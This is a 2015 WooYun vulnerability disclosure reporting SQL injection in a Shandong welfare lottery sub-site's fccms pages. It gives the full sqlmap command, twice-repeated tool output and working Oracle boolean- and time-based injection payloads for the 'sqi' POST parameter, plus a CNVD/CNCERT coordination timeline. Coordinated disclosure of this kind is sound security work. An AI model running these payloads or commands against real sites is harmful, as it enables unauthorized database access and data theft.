当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154430

漏洞标题:山东CAIPIAO某分站存在SQL注入漏洞

相关厂商:山东省福利彩票发行中心

漏洞作者: StoneX

提交时间:2015-11-25 01:20

修复时间:2016-01-11 16:58

公开时间:2016-01-11 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-25: 细节已通知厂商并且等待厂商处理中
2015-11-27: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

山东采彡PIAO某分站存在SQL注入漏洞

详细说明:

山东福彩存在POST注入,
http://**.**.**.**/fccms/site/num/ssqkjgg-zt.jsp
http://**.**.**.**/fccms/site/num/3dkjgg.jsp
参数都是sqi
oracle数据库
太慢了,没深入测,跑出数据是没有问题的。
root@kali:~# sqlmap -u http://**.**.**.**/fccms/site/num/3dkjgg.jsp --data sqi=2015D316
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151104}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:24:00
[23:24:01] [INFO] testing connection to the target URL
[23:24:05] [INFO] heuristics detected web page charset 'ISO-8859-2'
[23:24:08] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:24:12] [INFO] target URL is stable
[23:24:12] [INFO] testing if POST parameter 'sqi' is dynamic
[23:24:12] [INFO] confirming that POST parameter 'sqi' is dynamic
[23:24:12] [WARNING] POST parameter 'sqi' does not appear dynamic
[23:24:12] [WARNING] heuristic (basic) test shows that POST parameter 'sqi' might not be injectable
[23:24:12] [INFO] testing for SQL injection on POST parameter 'sqi'
[23:24:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:24:16] [WARNING] reflective value(s) found and filtering out
[23:24:21] [INFO] POST parameter 'sqi' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[23:24:24] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Oracle'
do you want to include all tests for 'Oracle' extending provided level (1) and risk (1) values? [Y/n]
[23:24:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[23:24:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:24:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[23:24:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[23:24:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[23:24:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[23:24:35] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[23:24:36] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[23:24:38] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[23:24:38] [INFO] testing 'Oracle error-based - Parameter replace'
[23:24:38] [INFO] testing 'MySQL inline queries'
[23:24:38] [INFO] testing 'PostgreSQL inline queries'
[23:24:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:24:38] [INFO] testing 'Oracle inline queries'
[23:24:38] [INFO] testing 'SQLite inline queries'
[23:24:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:24:38] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[23:24:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:24:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:24:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[23:24:39] [INFO] testing 'Oracle stacked queries (heavy query)'
[23:24:39] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[23:24:39] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[23:24:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[23:24:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:24:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:24:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:24:40] [INFO] testing 'Oracle AND time-based blind'
[23:24:45] [INFO] testing 'Oracle AND time-based blind (comment)'
[23:24:50] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[23:25:50] [INFO] POST parameter 'sqi' seems to be 'Oracle AND time-based blind (heavy query)' injectable
[23:25:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:25:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:25:58] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:26:09] [INFO] target URL appears to have 19 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[23:27:29] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[23:27:29] [INFO] checking if the injection point on POST parameter 'sqi' is a false positive
POST parameter 'sqi' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 131 HTTP(s) requests:
---
Parameter: sqi (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqi=2015D316' AND 1971=1971 AND 'HvFz'='HvFz
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sqi=2015D316' AND 5930=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'tdhW'='tdhW
---
[23:27:43] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:27:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 106 times
[23:27:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 23:27:43

QQ截图20151119235719.png


QQ截图20151119235659.png


应该是用的飞创的fccms

QQ截图20151119235908.png

漏洞证明:

山东福彩存在POST注入,
http://**.**.**.**/fccms/site/num/ssqkjgg-zt.jsp
http://**.**.**.**/fccms/site/num/3dkjgg.jsp
参数都是sqi
太慢了,没深入测,跑出数据是没有问题的。
root@kali:~# sqlmap -u http://**.**.**.**/fccms/site/num/3dkjgg.jsp --data sqi=2015D316
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151104}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:24:00
[23:24:01] [INFO] testing connection to the target URL
[23:24:05] [INFO] heuristics detected web page charset 'ISO-8859-2'
[23:24:08] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:24:12] [INFO] target URL is stable
[23:24:12] [INFO] testing if POST parameter 'sqi' is dynamic
[23:24:12] [INFO] confirming that POST parameter 'sqi' is dynamic
[23:24:12] [WARNING] POST parameter 'sqi' does not appear dynamic
[23:24:12] [WARNING] heuristic (basic) test shows that POST parameter 'sqi' might not be injectable
[23:24:12] [INFO] testing for SQL injection on POST parameter 'sqi'
[23:24:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:24:16] [WARNING] reflective value(s) found and filtering out
[23:24:21] [INFO] POST parameter 'sqi' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[23:24:24] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Oracle'
do you want to include all tests for 'Oracle' extending provided level (1) and risk (1) values? [Y/n]
[23:24:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[23:24:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:24:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[23:24:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[23:24:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[23:24:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[23:24:35] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[23:24:36] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[23:24:38] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[23:24:38] [INFO] testing 'Oracle error-based - Parameter replace'
[23:24:38] [INFO] testing 'MySQL inline queries'
[23:24:38] [INFO] testing 'PostgreSQL inline queries'
[23:24:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:24:38] [INFO] testing 'Oracle inline queries'
[23:24:38] [INFO] testing 'SQLite inline queries'
[23:24:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:24:38] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[23:24:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:24:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:24:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[23:24:39] [INFO] testing 'Oracle stacked queries (heavy query)'
[23:24:39] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[23:24:39] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[23:24:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[23:24:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:24:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:24:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:24:40] [INFO] testing 'Oracle AND time-based blind'
[23:24:45] [INFO] testing 'Oracle AND time-based blind (comment)'
[23:24:50] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[23:25:50] [INFO] POST parameter 'sqi' seems to be 'Oracle AND time-based blind (heavy query)' injectable
[23:25:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:25:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:25:58] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:26:09] [INFO] target URL appears to have 19 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[23:27:29] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[23:27:29] [INFO] checking if the injection point on POST parameter 'sqi' is a false positive
POST parameter 'sqi' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 131 HTTP(s) requests:
---
Parameter: sqi (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sqi=2015D316' AND 1971=1971 AND 'HvFz'='HvFz
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sqi=2015D316' AND 5930=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'tdhW'='tdhW
---
[23:27:43] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:27:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 106 times
[23:27:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 23:27:43

QQ截图20151119235719.png


QQ截图20151119235659.png


应该是用的飞创的fccms

QQ截图20151119235908.png

修复方案:

过滤

版权声明:转载请注明来源 StoneX@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-27 16:57

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置。

最新状态:

暂无